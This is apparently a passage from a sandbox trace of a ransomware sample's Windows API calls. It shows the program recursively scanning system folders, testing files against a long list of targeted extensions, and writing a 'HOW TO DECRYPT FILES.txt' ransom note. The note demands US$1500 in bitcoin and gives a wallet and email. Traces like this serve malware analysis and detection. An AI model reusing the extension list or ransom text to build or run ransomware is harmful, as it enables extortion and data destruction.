(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.gpg") returned 0 [0104.850] lstrlenA (lpString="*.gpg") returned 5 [0104.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.vsd") returned 0 [0104.850] lstrlenA (lpString="*.vsd") returned 5 [0104.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.odg") returned 0 [0104.851] lstrlenA (lpString="*.odg") returned 5 [0104.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.raw") returned 0 [0104.851] lstrlenA (lpString="*.raw") returned 5 [0104.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.nef") returned 0 [0104.851] lstrlenA (lpString="*.nef") returned 5 [0104.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.svg") returned 0 [0104.851] lstrlenA (lpString="*.svg") returned 5 [0104.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.psd") returned 0 [0104.851] lstrlenA (lpString="*.psd") returned 5 [0104.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.vmx") returned 0 [0104.851] lstrlenA (lpString="*.vmx") returned 5 [0104.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.vmdk") returned 0 [0104.851] lstrlenA (lpString="*.vmdk") returned 6 [0104.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.vdi") returned 0 [0104.851] lstrlenA (lpString="*.vdi") returned 5 [0104.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.lay6") returned 0 [0104.851] lstrlenA (lpString="*.lay6") returned 6 [0104.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.mpeg") returned 0 [0104.851] lstrlenA (lpString="*.mpeg") returned 6 [0104.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.djvu") returned 0 [0104.852] lstrlenA (lpString="*.djvu") returned 6 [0104.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.tiff") returned 0 [0104.852] lstrlenA (lpString="*.tiff") returned 6 [0104.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.backup") returned 0 [0104.852] lstrlenA (lpString="*.backup") returned 8 [0104.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.pdf") returned 0 [0104.852] lstrlenA (lpString="*.pdf") returned 5 [0104.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.cert") returned 0 [0104.852] lstrlenA (lpString="*.cert") returned 6 [0104.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.docm") returned 0 [0104.852] lstrlenA (lpString="*.docm") returned 6 [0104.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.xlsm") returned 0 [0104.852] lstrlenA (lpString="*.xlsm") returned 6 [0104.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.dwg") returned 0 [0104.852] lstrlenA (lpString="*.dwg") returned 5 [0104.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.nd") returned 0 [0104.852] lstrlenA (lpString="*.nd") returned 4 [0104.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.tlg") returned 0 [0104.852] lstrlenA (lpString="*.tlg") returned 5 [0104.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.lgb") returned 0 [0104.853] lstrlenA (lpString="*.lgb") returned 5 [0104.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.mov") returned 0 [0104.853] lstrlenA (lpString="*.mov") returned 5 [0104.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.xdw") returned 0 [0104.853] lstrlenA (lpString="*.xdw") returned 5 [0104.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.ods") returned 0 [0104.853] lstrlenA (lpString="*.ods") returned 5 [0104.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.wav") returned 0 [0104.853] lstrlenA (lpString="*.wav") returned 5 [0104.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.mp3") returned 0 [0104.853] lstrlenA (lpString="*.mp3") returned 5 [0104.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.aiff") returned 0 [0104.853] lstrlenA (lpString="*.aiff") returned 6 [0104.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.flac") returned 0 [0104.853] lstrlenA (lpString="*.flac") returned 6 [0104.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.m4a") returned 0 [0104.853] lstrlenA (lpString="*.m4a") returned 5 [0104.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn.Contra#\\78ce3fd89c50ab2d8d0ffc42ad838644\\System.AddIn.Contract.ni.dll", pszSpec="*.csv") returned 0 [0104.853] lstrlenA (lpString="*.csv") returned 5 [0104.853] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c9f7059, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5c9f7059, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5c9f7059, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.AddIn.Contract.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0104.854] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.854] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ca6947a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ca6947a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ca6947a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="78ce3fd89c50ab2d8d0ffc42ad838644", cAlternateFileName="78CE3F~1")) returned 0 [0104.854] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.854] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71fb292f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71fb292f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71fb292f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.ComponentMod#", cAlternateFileName="SYSTEM~2.COM")) returned 1 [0104.854] lstrcmpA (lpString1=".", lpString2="System.ComponentMod#") returned -1 [0104.854] lstrcmpA (lpString1="..", lpString2="System.ComponentMod#") returned -1 [0104.854] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.854] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.ComponentMod#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#" [0104.854] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#") returned 67 [0104.854] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71fb292f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71fb292f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71fb292f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.855] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.855] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71fb292f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71fb292f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71fb292f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.855] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.855] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.855] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71fb292f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71fb292f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71fb292f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="221fa10bd3cb407e43b7476af5039090", cAlternateFileName="221FA1~1")) returned 1 [0104.855] lstrcmpA (lpString1=".", lpString2="221fa10bd3cb407e43b7476af5039090") returned -1 [0104.855] lstrcmpA (lpString1="..", lpString2="221fa10bd3cb407e43b7476af5039090") returned -1 [0104.855] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\*.*") returned="*.*" [0104.855] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\", lpString2="221fa10bd3cb407e43b7476af5039090" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090" [0104.855] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090") returned 100 [0104.855] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71fb292f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71fb292f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71fb292f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.855] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.855] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71fb292f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71fb292f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71fb292f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.856] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.856] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.856] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f8c7ce, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71f8c7ce, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71f8c7ce, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ComponentModel.DataAnnotations.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0104.856] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.874] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ComponentModel.DataAnnotations.ni.dll") returned -1 [0104.874] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ComponentModel.DataAnnotations.ni.dll") returned -1 [0104.874] lstrcmpiA (lpString1="", lpString2="System.ComponentModel.DataAnnotations.ni.dll") returned -1 [0104.874] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\*.*") returned="*.*" [0104.874] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\" [0104.875] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\") returned="" [0104.875] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\HOW TO DECRYPT FILES.txt" [0104.875] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.componentmod#\\221fa10bd3cb407e43b7476af5039090\\how to decrypt files.txt")) returned 0xffffffff [0104.875] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.componentmod#\\221fa10bd3cb407e43b7476af5039090\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.879] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.879] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.881] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.881] CloseHandle (hObject=0x90) returned 1 [0104.881] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\", lpString2="System.ComponentModel.DataAnnotations.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll" [0104.881] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.ems") returned 0 [0104.881] lstrlenA (lpString="*.ems") returned 5 [0104.881] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.db") returned 0 [0104.881] lstrlenA (lpString="*.db") returned 4 [0104.881] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.dbf") returned 0 [0104.881] lstrlenA (lpString="*.dbf") returned 5 [0104.881] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.myox") returned 0 [0104.882] lstrlenA (lpString="*.myox") returned 6 [0104.882] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.myo") returned 0 [0104.882] lstrlenA (lpString="*.myo") returned 5 [0104.882] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.qbw") returned 0 [0104.882] lstrlenA (lpString="*.qbw") returned 5 [0104.882] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.qbb") returned 0 [0104.882] lstrlenA (lpString="*.qbb") returned 5 [0104.882] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.qbm") returned 0 [0104.882] lstrlenA (lpString="*.qbm") returned 5 [0104.882] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.qbo") returned 0 [0104.882] lstrlenA (lpString="*.qbo") returned 5 [0104.882] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.qbx") returned 0 [0104.882] lstrlenA (lpString="*.qbx") returned 5 [0104.882] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.qba") returned 0 [0104.882] lstrlenA (lpString="*.qba") returned 5 [0104.882] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.qby") returned 0 [0104.882] lstrlenA (lpString="*.qby") returned 5 [0104.882] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.qbj") returned 0 [0104.882] lstrlenA (lpString="*.qbj") returned 5 [0104.882] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.ofx") returned 0 [0104.882] lstrlenA (lpString="*.ofx") returned 5 [0104.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.qif") returned 0 [0104.883] lstrlenA (lpString="*.qif") returned 5 [0104.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.mye") returned 0 [0104.883] lstrlenA (lpString="*.mye") returned 5 [0104.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.mbox") returned 0 [0104.883] lstrlenA (lpString="*.mbox") returned 6 [0104.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.eml") returned 0 [0104.883] lstrlenA (lpString="*.eml") returned 5 [0104.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.pst") returned 0 [0104.883] lstrlenA (lpString="*.pst") returned 5 [0104.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.ost") returned 0 [0104.883] lstrlenA (lpString="*.ost") returned 5 [0104.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.idx") returned 0 [0104.883] lstrlenA (lpString="*.idx") returned 5 [0104.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.dbx") returned 0 [0104.883] lstrlenA (lpString="*.dbx") returned 5 [0104.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ComponentMod#\\221fa10bd3cb407e43b7476af5039090\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.sql") returned 0 [0104.883] lstrlenA (lpString="*.sql") returned 5 [0104.883] PathMatchSpecA 